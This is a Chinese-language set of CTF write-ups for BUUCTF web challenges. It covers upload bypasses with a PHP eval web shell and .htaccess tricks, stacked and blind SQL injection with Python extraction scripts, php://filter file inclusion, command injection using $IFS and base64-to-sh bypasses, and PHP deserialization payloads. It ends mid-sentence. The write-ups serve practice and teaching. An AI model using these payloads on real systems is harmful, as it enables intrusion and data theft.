buuctf

babyupload

1、后缀名不能有ph!对于文件后缀名的限制,无法绕过这里
2、上传类型也太露骨了吧!对Content-Type的限制,修改为image/jpeg即可绕过
3、诶,别蒙我啊,这标志明显还是php啊

对上传文件的内容进行了检测,不能含有<?,这里的PHP版本为:PHP/5.6.23,可以使用 绕过

1
<script language="php">eval($_POST['111']);</script>

但是搭建到蚁剑上连接不成功

上传一个.htaccess文件将别的后缀名文件内容解析为php程序

1
AddType application/x-httpd-php .mochu

image-20230805165204744

然后上传shell即可

image-20230805165102425

用蚁剑创建数据

找到根目录下的flag

![屏幕截图 2023-08-05 150602](D:\Users\陈\Pictures\Screenshots\屏幕截图 2023-08-05 150602.png)

[MRCTF2020]Ez_bypass

打开靶机是一串代码
因为html 渲染过程中是不会把\n当做回车展示的,所以右键查看源代码,瞬间舒服了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

按行显示的题目代码“代码审计”
读代码可知拿到flag只需要满足俩条件:
1.让以get方式传参的两个变量gg和id满足md5后的值强比较相等,本身的值弱比较不相等
2.以post方式传参的变量password不是数字并且与数字1234567弱比较相等
由此,在url后追加?id[]=1&gg[]=2就可以显示“You got the first step”的提示。但passwd参数还没有传,此时需要借助浏览器插件HackBar以post方式传入passwd=1234567a
以get方式传参并使md5值相等
总结:
1.给数组类型的变量赋值不同的数值,可以满足变量的md5值在进行强比较时相等,又满足他们自身的值在进行弱比较时不相等。
2.在数字后面加个字母,就不再是数字但又可以满足和数字做弱比较时相等。

[MRCTF2020]你传你🐎呢

这题目的名字一看就能猜到应该是文件上传了
打开靶机链接是这个样子的,我不知道这是什么梗
题目网页
因为类似的题上一篇已经写过了,这里就简写。这道题也是只能上传非php后缀的文件,然后再上传.htaccess文件,使服务器端将jpg看做php。
上传jpg格式的一句话木马:
一句话木马

上传.htaccess时拦截包,修改文件类型为image/jpeg:
上传.htaccess文件
.htaccess里写的内容:SetHandler application/x-httpd-php

上传1.jpg和.htaccess成功后,就可以用中国蚁剑连接了
url地址是:靶机的url/upload/随机生成的一串数/1.jpg(即一句话木马文件上传到的路径)
密码是写在1.jpg里的111
测试连接,显示连接成功,点击添加,在服务器端的根目录可以找到flag

htaccess是什么

.htaccess文件(或者”分布式配置文件”)提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

随便注

访问url

重命名+堆叠注入

1.判断是否存在注入,注入是字符型还是数字型

输入1’发现不回显

输入1’#显示正常

应该是存在sql注入了

输入1’ or ‘1’=’1,正常回显,应该是字符型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}

2.猜解SQL查询语句中的字段数

输入1’ order by 3 # 回显出错,说明有两个字段

1
error 1054 : Unknown column '3' in 'order clause'

3.显示字段

输入1′ union select 1,2 # 回显一个正则过滤规则

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

过滤了 select,update,delete,drop,insert,where 和 点

过滤了这么多词,尝试堆叠注入

4.查询数据库

输入1’;show databases;# 成功回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(18) "information_schema"
}
array(1) {
[0]=>
string(5) "mysql"
}
array(1) {
[0]=>
string(18) "performance_schema"
}
array(1) {
[0]=>
string(9) "supersqli"
}
array(1) {
[0]=>
string(4) "test"
}

说明存在堆叠注入

5.查询表

输入1’;show tables;# 成功回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}

得到两个表words和1919810931114514

6.查询表中字段

查看1919810931114514,输入1’; show columns from 1919810931114514; #

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

可以看到1919810931114514中有我们想要的flag字段

7.查询另一个表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(6) {
[0]=>
string(2) "id"
[1]=>
string(7) "int(10)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}
array(6) {
[0]=>
string(4) "data"
[1]=>
string(11) "varchar(20)"
[2]=>
string(2) "NO"
[3]=>
string(0) ""
[4]=>
NULL
[5]=>
string(0) ""
}

发现flag,因为查看flag的回显会出现在words里,为了回显在flag所属的表,而发现alter、rename又没有被过滤,则试着进行表和字段的重命名

因为可以堆叠查询,这时候就想到了一个改名的方法,把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id(或data)。然后程序查询就能查询到原本‘1919810931114514’表中的数据

1
2
3
4
5
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
#rename命令用于修改表名。
#rename命令格式:rename table 原表名 to 新表名;
#alert修改字段名及字段属性值
alert table 表名 change 旧字段名 新字段名 新字段属性;

输入1’ or 1=’1,查询就得到flag

Include

打开页面只有一个a标签的超链接,指向的是?file=flag.php。结合题目的名称不难联想到这是一题文件包含的题目。

看到当?file=flag.php时,页面返回Can you find out the flag。先输入?file=/etc/passwd,确认一下有没有返回,是否真的有文件包含的漏洞。

看到确实存在文件包含漏洞,目前又没有其他的信息。我们不知道真正的flag藏在那个页面中。所以只能先用文件包含漏洞中php://filter/convert.base64-encode/resource伪协议帮我们返回已知页面的代码。输入?file=php://filter/convert.base64-encode/resource=index.php就能得到index.php的源代码的base64密文。解密后得到一下内容:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>

大概意思就是过滤了php的几个伪协议,但刚好没过滤我们这个。
所以可以我们可以看到返回的结果
那现在就取一下flag.php的内容

输入?file=php://filter/convert.base64-encode/resource=flag.php就能得到flag.php的源代码的base64密文。解密后得到一下内容里面就有flag:

1
2
3
<?php
echo "Can you find out the flag?";
//flag{ace2c6ad-88d7-4c5d-a49e-38baeba72c32}

Exec

打开题目就看到大大的PING,二话不说直接ping个本地ip

涉及知识点:

在命令执行的过程中,可以通过一些常用特殊字符来执行其他语句

;  //命令分割符,即当执行完第一个命令,继续执行下一个命令

|   //管道

那么尝试在当前文件夹下,有什么东西吧

构造payload

 127.0.0.1;ls

我们都知道在linux系统搭建的页面,通常显示页面的路径是/var/www/html,那么我们尝试返回当前路径查找

构造payload

 127.0.0.1;cd ../../../;ls

在返回前三层的时候找到了flag 字样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

构造payload

127.0.0.1;cd ../../../;cat flag

flag{977043da-6f7d-4f7a-9e8e-2c65837cb657}

Ping Ping Ping

(1)页面里显示/?ip=,很明显要以ping的形式传一个参数给ip,并且我们要想执行其他命令,就要用命令分隔符也就是管道符连接,命令分隔符可以用”;“”|“”&”三种,本题经过尝试发现第一步查看目录过滤了|,&和空格。
这里介绍两种方式:
1.ping本地127.0.0.1
2.用||来代替127.0.0.1;
(2)虽然找到了放flag的文件,但是尝试后发现都不对,这里介绍一种思路,我们可以通过查看index.php的文件源码来查看源码,从而确认过滤了哪些东西,题目说过滤了命令连接符&,\,空格,*,bash,<>,flag,?,我们得想一些其他方法来绕过
(3)要想得到flag了,我们需要绕过过滤掉的东西
这里介绍三种可以解决的特殊绕过方式:
1.拼接绕过法

1
2
else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");

以上是题目给的绕过flag的源码,我们这里需要知道这是正则表达式匹配了ip的值中是否顺序出现了f、l、a、g四个字母。这样一来我们就可以拼接一个flag来绕过了,可以拼接f;lag fl;ag fla;g 但是这里需要注意:本题特殊就特殊在flag的字母顺序要不同(拼接绕过的一个大坑)

1
2
3
y=g;x=fla;$x$y
y=ag;x=fl;$x$y
y=lag;x=f;$x$y

构造payload:/?ip=||y=ag;x=fl;cat$IFS$9$x$y.php跑一下查看源码得到flag

2.内联执行法
可以看到代码没有过滤掉符号` 所以可以利用内联执行的方式直接打开flag文件,先执行命令ls,再把ls得到的文件名全部用命令cat打开,构建payload 跑一下,查看源码拿到flag

1
/?ip=127.0.0.1;cat$IFS$6`ls`或者/?ip=||cat$IFS$6`ls`

3.sh编码绕过法(base64编码)

使用方法:echo 命令编码|base64 -d|sh

1
2
3
4
sh可以换成bash, 但是题目过滤掉了
也可以换成其他的编码形式,这里用base64的
空格用$IFS$6替换掉
cat flag.php 的base64编码为Y2F0IGZsYWcucGhw

构造payload , 相当于执行命令cat flag.php,查看源码得到flag

1
2
/?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh
/?ip=||echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh

[SUCTF 2019]EasySQL1

1.试试sql注入正常套路
(1)先试试1有回显
(2)再试试字母a没有回显
(3)试试单引号注入1' or '1'='1,提示不一样,因此猜测这里有注入点
(4)试试有多少列,1' order by 4#,还是不成功,因此一般的联合查询在这里不能使用
(5)基于时间的盲注和报错注入都需要嵌套联合查询语句来实现,因此可以跳过,直接试试布尔型盲注,1' and length(database())>=1还是不成功
2.利用堆叠注入
(1)查找所有数据库,1;show databases;#

(2)查询所有表名,1;show tables;#

(3)查询Flag表中的列,1;show columns from Flag#,不成功
3.接下来是网上的两种解法
(1)第一种是猜出了源码select $_POST[‘query’] || flag from Flag,
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
第一种就按默认没有配置来进行,此时||就是逻辑或
||在命令执行中见过,
回顾:
command1;command2顺序执行
command1 || command2
如果command1执行失败,则执行command2
command1 && command2
如果command1执行成功,则执行command2

因此只需要将
$_POST[‘query’]

提交的数据换成*,1(如果直接写的话会被报错,且写在后面会失效)
解释:
sql=select.post[‘query’].”||flag from Flag”;(拼接语句)
如果$post[‘query’]的数据为 *,1

sql语句就变成了select *,1||flag from Flag,
就是select *,1 from Flag,这样就直接查询出了Flag表中的所有内容。
此处的1是临时增加一列,列名为1且这一列的所有值都为1

执行payload:*,1,得到flag
(2)第二种是将||作为字符串连接符,因此需要在语句中更改其配置
sql_mode=PIPES_AS_CONCAT时即可
Payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完之后:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
相当于是select 1 from Flag和select flag from Flag,得到flag

[BSidesCF 2020]Had a bad day

先看一下题目,有注入点,这里怀疑是SQL注入

先尝试读取一下index.php

这里使用php伪协议

payload:

php://filter:/convert.base64-encode/resource=index.php

存在文件包含漏洞,但是这里报错了,分析之后是无法打开流:操作失败

这里去除php后缀

payload

php://filter/convert.base64-encode/resource=index

image-20230805171203176

解码之后找到index.php

<?php
                $file = $_GET['category'];

                if(isset($file))
                {
                    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
                        include ($file . '.php');
                    }
                    else{
                        echo "Sorry, we currently only support woofers and meowers.";
                    }
                }
                ?>

传入的category参数必须有woofers,meowers,index才行

这里构造payload来包含flag.php

1
/index.php?category=woofers/../flag

这里使用的知识点是php://filter伪协议套协议

payload:

1
/index.php?category=php://filter/convert.base64-encode/index/resource=flag

image-20230805171429538

base64解码得CTF{happiness_needs_no_filters}

[CISCN2019 华北赛区 Day2 Web1]Hack World

输入0回显ErrorOccureWhenFetchResult.

​ 输入1回显Hello,glzjinwantagirlfriend.

​ 输入2回显Doyouwanttobemygirlfriend?

​ 输入大于2数回显:ErrorOccureWhenFetchResult.

​ 然后尝试1’发现有回显bool(false)说明这是一道数字类型

然后提示里面说了flag在flag表的flag列里,只交id,因为我们在输入后地址栏没有回显参数,所以应该是post传参

接着是经典的burp里利用fuzz(模糊测试)测试过滤字段,根据回显判断是否被过滤,最后发现:空格,or,order,union以及报错注入的相关字符都被过滤了但是select和from没有被过滤,空格被过滤可以采用()括号的方式进行绕过,应该使用回车制表符这些也可以进行绕过,比如%09 %0a %0b %0c %0d /**/ /!/或者直接tab,%20 好像没法绕,%00截断好像也影响sql语句的执行,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

在看了别人的wp时发现根据0,1回显不同,输入1时返回Hello, glzjin wants a girlfriend.,输入0时返回Error Occured When Fetch Result.构造返回结果为0或1的布尔类型进行盲注即可

因为表和字段都给出来了,所以直接 构造语句

有两个方法:

1.mid函数

id=(select(ascii(mid(flag,1,1))=102)from(flag))

mid用于截取字符串,第一个参数是指定的字段,第二个参数是开始截取的位置,第三个参数可选,表示一次截取多少

mid函数在这里的用法了:如果ascii码正确,那么会返回1,得到的回显也就是包含Hello的那条语句如果失败那么就是Error

1
2
3
4
5
6
7
8
9
10
import requests
url="http://8824c129-640d-4745-bf80-2e7aef3b1cf2.node4.buuoj.cn:81/index.php"
for q in range(1,100):
for i in range(0, 254):
payload = "1^(SELECT(ASCII(MID((SELECT(CONCAT(flag))FROM(flag))," + str(q) + ",1))=" + str(i) + "))"
data = {"id": payload}
req = requests.post(url, data=data)
if ("Error Occured" in req.text):
print (chr(i),end='')
break

这里再附一个源码辅助我们理解这道题:

<?php $dbuser='root'; $dbpass='root';

function safe($sql){  #被过滤的内容 函数基本没过滤  $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');  foreach($blackList as $blackitem){      if(stripos($sql,$blackitem)){          return False;      }  }  return True; } if(isset($POST['id'])){  $id = $POST['id']; }else{  die(); } $db = mysql_connect("localhost",$dbuser,$dbpass); if(!$db){  die(mysql_error()); }    mysql_select_db("ctf",$db);

if(safe($id)){  $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");

if($query){  $result = mysql_fetch_array($query);

if($result){      echo $result['content'];  }else{      echo "Error Occured When Fetch Result.";  } }else{  var_dump($query); }

}else{  die("SQL Injection Checked."); }

2.这道题还能用到的知识点有:

异或:https://www.jianshu.com/p/27df5c67157c

^ ⽤它可以起到代替or的作⽤,sql中的^是异或判断当两边相同的时候,输出值为0,如1^1=0,1^0=1

大概在这里应用就是假^假 =假 ,真^真=假,假^真=真,真^假=真

转换为0和1即为 0^0=0 1^1=0 1^0=1 0^1=1

所以当我们查询 1^0、0^1、和 1 的回显是一样的,而查询 1^1 或0^0却会有报错提示。

所以结合 sql语句 ,我们可以构造0^payload,若为payload结果真,则返回1,0^1=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。

但如何构造payload,因为空格被过滤,所以用括号来代替分割,这里也算学的新方法,利用ASCII码来逐一匹配

所以这里第二个构造方法:

异或+substr

0^(ascii(substr((select(flag)from(flag)),1,1))>1)

ascii:取字符串第一个的字符的ascii substr:切割(mysql里的substr的start是从1开始),substr的len可以无限大,这个不影响根据(ascii(substr((select(flag)from(flag)),1,1000))>1)的值来进行异或,这个值为1或者0再和1进行异或,根据页面回显即可判断出最终flag

substr函数 substr(string,start,length) 所以我们要逐渐改变查询的位置,查询的长度一直是1,也就是我们每次只查询一个单词 ascii函数,ascii(str) ,str是一个字符串参数,返回值为最左侧字符的ascii码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import re
url='http://8824c129-640d-4745-bf80-2e7aef3b1cf2.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
max = 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
min=s
else:
max=s
if((max-min)<=1):
flag+=chr(max)
print(flag)
break

我们把flag的每一位用substr取出来,然后用ascii和某个字符比较(用的是二分查找)最后max 和 min差1的时候就说明max为正确的字符(具体也不太清楚为什么不是max和min相等的时候)。然后要注意题目貌似过滤了空格,所以要善用括号来分割。然后每次请求不能太快,不然平台存在的waf会报错,所以每次需要sleep一段时间。

我们可以看到for i in range(1,43) 为什么是43呢?因为动态flag的长度是42位,又因为python里的range右界是小括号,所以42要再+1。看到这,是不是明白点什么呢?我们要把flag一位一位猜出来!用的方法就是这个

3.最后在翻wp发现还有第三种构造方法:
sql的三目运算

if( 表达式1,表达式2,表达式3)

如果表达式1是正确的,那么执行表达式2,否则执行表达式3

if(ascii(substr((select(flag)from(flag)),1,1))=ascii(‘f’),1,2)

import requests

url = 'http://8824c129-640d-4745-bf80-2e7aef3b1cf2.node4.buuoj.cn:81/index.php'
result = ''

for x in range(1, 50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
    payload = "if(ascii(substr((select(flag)from(flag)),%d,1))>%d,1,2)" % (x, mid)
    data = {
        "id":payload
    }
    response = requests.post(url, data = data)
    if 'Hello' in response.text:
        low = mid + 1
    else:
        high = mid
    mid = (low + high) // 2

result += chr(int(mid))
print(result) 作者:很菜的wl https://www.bilibili.com/read/cv18150908/ 出处:bilibili

BUUCTF–[极客大挑战 2020]Greatphp

进入页面后可以看到给出的代码

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
 
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}
 
if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
 
?>

看到unserialize就很容易猜到这里考察的是反序列化漏洞
用Error类绕过md5和sha1检测

image-20230910194829328

Error类中有__tostring方法,md5()和sha1()函数都会调用__tostring()

test:
<?php
$a = new Error("payload",1);
$b = new Error("payload",2);
echo $a;
echo "<br>";
echo $b;
echo "<br>";
if($a != $b)
{
    echo "a!=b";
}
echo "<br>";
if(md5($a) === md5($b))
{
    echo "md5相等"."<br>";
}
if(sha1($a)=== sha1($b)){
    echo "sha1相等";
}
 
结果:
a!=b
md5相等
sha1相等

我们可以将题目代码中的 $syc 和 $lover 分别声明为类似上面的内置类的对象,让这两个对象本身不同(传入的错误代码即可),但是 __toString 方法输出的结果相同即可
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include “/flag” 将flag包含进来即可;由于过滤了引号,我们直接用url取反绕过即可

借用大佬的脚本

  <?php
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
 
?>

[CISCN2019 初赛]Love Math

知识点

base_convert() 函数

在任意进制之间转换数字。

语法

base_convert(number,frombase,tobase);

参数 描述
number 必需。规定要转换的数。
frombase 必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase 必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

in_array()函数

in_array(值,数组) 函数搜索数组中是否存在指定的值。
实例

<?php
    $people = array("Peter", "Joe", "Glenn", "Cleveland", 23); 
if (in_array("23", $people, TRUE))
{
    echo "Match found<br>";
} 
else 
{    echo "Match not found<br>"; } 
?>

本实例输出Match found
dechex()函数

dechex() 函数把十进制数转换为十六进制数。
hex2bin() 函数

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
奇技淫巧
用变量保存函数和参数

为了绕过80字长限制,我们用变量保存函数和参数

看payload理解一下

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls /flag

这里用$pi存储后面的payload
转换进制来绕过函数名的白名单过滤

hex2bin为白名单之外的函数 我们想利用该函数 可以将hex2bin看作一个36进制的字符串 再使用进制转换工具 将hex2bin转换为10进制数字 再用base_convert函数将十进制转为36进制

题解

进入环境,发现源码,开始审计

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

这里的代码审计可以分为三块
第一块

 $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");

字长不能大于80 否则 pass 我们可以通过把payload存在变量里来绕过
第二块

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");

黑名单,过滤了空格 换行符 单双引号,反引号 斜杠 中括号等东东

这里有影响的主要是中括号
中括号的bypass

使用{}花括号代替
第三块

 $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");

白名单 你的变量名必须使用这里边的函数名

我们可以通过重定义来使用这些变量名
一般遇到这种都是构造命令执行

我们的目标字符串显然还是 system(‘cat /flag’)

于是我们先来写下我们需要传参的字符串

G E T [ a ] ( _GETa&a=system&b=cat flag
以下都是为了构造_GET
扫了一眼,hex2bin函数不在白名单内不能直接用

啊那我们在白名单里找到一个base_convert函数,其用法在上文知识点中有介绍

hex2bin 在字母表中最靠后的字符为x,这意味着我们可以把它当作一个36进制数 使用在线进制转换得到hex2bin作为一个36进制数的对应十进制数,再用base_convert 函数进行转换

payload:
base_convert(37907361743,10,36)
然后使用dechex函数

先把_GET字符串转十六进制数,再用进制转换工具转换为10进制 放入dechex函数
前半段payload构造完毕

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));
后半段payload

比较容易理解了

把目标payload

c=$pi=$_GET[a]($_GET[b])&a=system&b=cat /flag

转换一下,即为(GET即为$pi)

c=$pi=_GET;($_GET){pi}($_GET){abs}&pi=system&abs=cat /flag

故构造

$$pi{pi}$$pi{abs}&pi=system&abs=cat /flag

结合一下,得出payload

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

image-20230910200526054

[ACTF2020 新生赛]BackupFile 1

提示扫描源文件

使用dirsearch扫描目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

在PHP中:
= = 为弱相等,即当整数和字符串类型相比较时。会先将字符串转化为整数然后再进行比较。比如a=123和b=123admin456进行= =比较时。则b只会截取前面的整数部分。即b转化成123。
所以,这里的a = = b是返回True。
所以这里我们只需要提供一个参数?key=123就可以拿到flag了ss

[网鼎杯 2020 青龙组]AreUSerialz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

1.传入str,经过处理反序列化。

2.is_valid过滤:传入的string要是可见字符ascii值为32-125。

3.$op:op==”1”的时候会进入write方法处理,op==”2”的时候进入read方法处理。

需要绕过两个地方:

